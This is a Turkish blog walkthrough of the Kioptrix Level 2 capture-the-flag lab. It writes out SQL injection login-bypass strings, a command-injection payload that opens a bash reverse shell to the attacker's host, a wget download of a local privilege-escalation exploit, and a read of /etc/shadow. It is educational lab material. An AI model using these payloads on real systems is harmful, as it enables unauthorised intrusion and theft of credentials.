KIOPTRİX ZAFİYETLİ MAKİNESİNİ ELE GEÇİRME VE YETKİ YÜKSELTME - SİBER GÜVENLİK EĞİTİMİ

NELER VAR

26 Aralık 2019 Perşembe

KIOPTRİX ZAFİYETLİ MAKİNESİNİ ELE GEÇİRME VE YETKİ YÜKSELTME

Herkese merhaba. Bu yazımda Cyber Anadolu 2019 İzmir Kampı'nda öğrendiğim bir makine çözümünü sizlerle paylaşacağım. Bu makinenin çözümünde neler öğreneceğiz;
  • Hak Yükseltme, 
  • SQL Injection ve command injection,
  • Hedeften shell alma, 
  • Reverse shell,
  • Hedef makineye kendi makinemizden dosya indirme 
gibi birtakım konulara değinmeye çalışacağım. Mr.Robot, makinesinde olduğu gibi bu zafiyetli makinede de yetki yükseltmeye çalışacağız. Kioptrix, Mr. Robot gibi zafiyetli makineleri https://www.vulnhub.com/ adresinden indirebilirsiniz. Kioptrix'i indirmek için ise https://www.vulnhub.com/entry/kioptrix-level-11-2,23/ adresini kullanabilirsiniz. 
Makinede bulunan bir zafiyeti istismar ederek, standart kullanıcıdan root yetkisine yükselmeye çalışacağız. Makinenin çözümüne geçmeden önce, sanal makinelerin haberleşebilmesi için her iki makineyi 'NAT' ya da 'Bridge' moduna çekiniz. 
Öncelikle makineye ulaşabilmek için ip adresini tespit ediyoruz. Bu aynı zamanda bir önceki konumuz olan siber ölüm zincirinin keşif aşamasına denk gelmektedir. IP adresini tespit ettikten sonra her zaman ilk yapacağımız iş nmap sorgusuna sokmak olmalıdır. 
'nmap -Pn -sS -sV 192.168.1.107' komutunu kullanarak hangi portlar açık, hangi servisler kullanımda ve versiyon bilgilerini ekrana basmasını istedim. 80 portunda dikkatimizi çeken bir şey var. Bu portta apache'nin çalışıyor olması akıllara arayüzde bir şeyler olabilir sorusunu getiriyor. Hemen tarayıcıdan ip'yi aratalım. 
Tahmin ettiğimiz gibi arayüz ekranında bir login ekranına ulaştık. Her meraklı internet kullanıcının yaptığı gibi ben de kullanıcı adı ve şifre kısmına default değerler denedim. 
Her iki alana da 'admin, admin' denediğimde hiçbir hata almadım fakat giriş başarılı da olmadı. Burada aklımıza gelmesi gereken ilk şeylerden biri web zafiyetleri olmalıdır. Burada sql,xss ya da idor açığı aramamız gerekecek. Ya da wordlist olmadan bruteforce'ta deneyebiliriz. Brute-force'u şuanda düşünmediğim için sql açığından başlamaya karar verdim. Username ve password alanına ' kesme işaretini kullanarak hata alıp almayacağımıza bakalım. 
Kesme işaretini her iki alana yazdığımda yine bir tepki alamadık. SQL açığını biraz daha zorlamaya devam edelim isterseniz. Klasik olan 1'or'1'='1 login bypass yöntemini deneyelim. 
Bu kodun anlamı "kullanıcı adı 1 veya 1 eşittir 1 ise giriş yap" anlamına gelmektedir. Yani SQL açığı var ise her şekilde içeri girmiş olacağız. 
Başarıyla sql komutumuz çalıştı ve login olmayı başardık. Bizi ping atmayı sağlayan bir ekran karşıladı. Ayrıca SQL injection kodlarından etkili olan bir komutu da sizlerle paylaşmak istiyorum. 
Kullanıcı adı alanına 'admin'#' komutunu girdiğimizde de login olmayı başarıyoruz. Bu komutun anlamı ise "kullanıcı adlarında admin olan bir kayıt var ise şifreye bakmadan giriş yap" anlamına gelmektedir. Artık giriş yapmayı başardığımıza göre burada SQL Injection açığı olduğunu söyleyebiliriz. Şuanda diğer web zafiyetleriyle uğraşmamıza gerek kalmadı. Giriş yaptıktan sonra ping atmayı deneyelim acaba çalışacak mı? 


Evet ping atabiliyoruz. Ping atarken de bu değerleri ekrana basıyor. Aslında burdan şu sonucu çıkarabiliriz. Bu web sitesinin arka planında cmd komut ekranı çalışmaktadır. Burada dikkat çeken bir diğer nokta ise 3 defa ping atıyor olmasıdır. Yani cmddeki "ping 192.168.1.109 -c 3" komutunu arka planda çalıştırmaktadır. Bu değerleri ekrana bastığına göre burada da bir açık söz konusu olabilir ve biraz kurcalamamız gerektiğini söyleyebilirim. 
Bir command injection deneyelim. IP adresinin sonuna ";" koyduğumuz zaman ekrana değerleri getiriyorsa burada command injection'dan bahsedebiliriz. 
Evet değerleri ekrana hatasız bir şekilde bastı. Command injection hatasını tespit ettik. Peki bu hatayı nasıl kullanabiliriz? Buradan nerelere ulaşabiliriz? Listele komutunu ; koyarak bir deneyelim. Bakalım dosyaları bize listeleyecek mi? 
Görüldüğü gibi cmd komut ekranını arka planda çalıştırdığını tespit etmiştik. Yine cmd'de kullandığımız ls komutunu da denediğimizde bu komutu da çalıştırdı. Hatta bir de hangi dizinde olduğumuza da bir bakalım. 
'pwd' komutunu kullandığımızda bize "/var/www/html" cevabını dönmektedir. 
Toparlamak gerekirse bir login ekranında sql injection açığı tespit edip login olabildik. Daha sonra ping attığımızda o değerleri bize gösterdiğini ve arka planda "ping -c 3" komutunu cmd ekranında çalıştırdığını tespit etmiştik. Daha neler yapabiliriz diye bir düşünelim. Burada bir netcat ile portu dinlemeye açıp terminal ekranında bir shell alabiliriz. Netcat, ile bir tcp tüneli oluşturabiliriz. Netcat iki zafiyetli makinemiz ile kendi kali makinemizle aynı buluşmamızı sağlayacak. Fakat shell alırken bir de kullanıcıya erişmemiz gerekecek. Bunun için daha önce de kullandığımız reverse shell almayı deneyeceğiz. Bu php reverse shell'de olabilir başka bir shell'de. Ben biraz araştırdığımda command injection'dan bir kabuk elde edebileceğimiz ";bash -i>& /dev/tcp/kaliip/portno 0>&1" kodun buldum. Onu zafiyetli alana bir yazalım ve aynı anda terminali netcat ile bir buluşturacağımız port numarasını girip dinlemeye alalım. 
İşlemleri gerçekleştirdikten sonra görüldüğü gibi "bash-3.00" kullanıcını elde ettik. 
Kullanıcıya "kimsin" diye sorduğumuzda bize apache kullanıcısı olduğunu ve id'sinin 48 olduğunu anlıyoruz. Yani root grubunda değil. Fakat shell almayı başardık. Burada standart kullanıcı yetkisine sahibiz artık. Kullanıcıyı biraz daha inceleyelim ve hangi işletim sistemini kullandığını, sürüm gibi bilgilerini öğrenelim. 
"uname -a" komutunu girdiğimizde işletim sistemi özelliklerini görebiliyoruz. CentOS 4.5 işletim sistemi kullanılmaktadır. Bununla ilgili zafiyet var mı diye kali sisteminden bir bakalım. Bunun için "searchsploit CentOS 4.5" yazmamız yeterli. 
Arattığımız zaman bu sürüme ait 2 zafiyet bulundu. Bu zafiyetlere ait kullanabileceğimiz exploitleri de listelemekte searchsploit. İşaretli alandaki exploiti kullanacağız. Bu exploitin nerede bulunduğu da path alanın altında bulunuyor. Bu path'i takip ettiğimizde "9542.c" exploit'ini orada göreceğiz. Ayrıca bu exploitler yetki yükseltme için kullanılmaktadır. 
Kullanacağımız exploit'i bulduktan sonra bu exploiti hedef sistemimize yükleyelim. Bu işlemi "wget" komutu ile gerçekleştireceğiz. Fakat bunu kendi kali sisteminden alacağımız için öncelikle 9542.c dosyasını kopyalayıp root dizinine atacağız. Daha sonra da bu dizini paylaşıp hedef sisteme indireceğiz. 
"cp" komutuyla dosyamızı kopyalayıp "." hedefine kopyalıyoruz. Daha sonra "python -m SimpleHTTPServer" koduyla 8000 portuna klasörlerimizi yayınlıyoruz. 
Hedef makinesine geldiğimizde burada direkt wget komutuyla dosyayı indirmeye çalıştığımızda "permission denied" yani erişim engellendi hatası alırız. "ls -ll" komutuyla root'un yetkilerini tamamen kullanabileceğimiz bir dizin aradığımızda bize uygun olan dizinin "/tmp" klasörü olduğunu görüyoruz. Bu dizinin yazma, okuma, çalıştırma gibi yetkilerinin olduğunu görmekteyiz. 
/tmp dizinine geldikten sonra indirme işlemini gerçekleştirebiliriz. "wget 192.168.1.109:8000/9542.c" komutunu yazarak indirme işlemini gerçekleştiriyoruz. Burada yazmış olduğumuz ip adresi kali sisteminin ipsidir. Sırada 9542.c dosyasının derlemesi bulunuyor. O işlemi de gerçekleştirdikten sonra zafiyeti istismar edip root yetkilerine ulaşmış olacağız. 
.c uzantılı dosya olduğu için derlememiz gerekiyor. Derlemek için "gcc" komutunu kullanıyoruz. Derleme işlemi tamamlandıktan sonra "9542" python dosyası olarak çıktısını alacağız. Bu python dosyasını çalıştıralım. 
Python dosyalarını genellikle python3 ... ya da ./dosyaadi şeklinde çalıştırıyoruz. Burada ./9542 komutunu girdiğimizde bir hata alıyoruz fakat bizi yeni bir kullanıcıya atmakta olduğunu görüyoruz. "id" deyip grup id ve user id'ye baktığımız zaman root yetkisine sahip olduğumuzu görüyoruz. 
Artık root olduğumuza göre kullanıcıların bir şifrelerine bakalım :) 
"cat /etc/shadow" komutunu yazdığımızda ekrana kullanıcıların adını ve şifrelerini bastığını görüyoruz. Kioptrix makinesinde uzun işlemlerden sonra root yetkisine yükselmeyi başardık. 
Bu makineyle birlikte standart kullanıcıdan root yetkisine yükselmeyi, sql injection'ı, command injection'ı, cp komutuyla dosya kopyalayıp "python -m SimpleHTTPServer" ile porttan dizinleri paylaşmayı, wget komutu ile hedef sisteme dosya indirip derleyip çalıştırmayı öğrendik. Bir sonraki yazımda görüşmek üzere, umarım yararlı olmuştur. 




Hiç yorum yok:

Yorum Gönder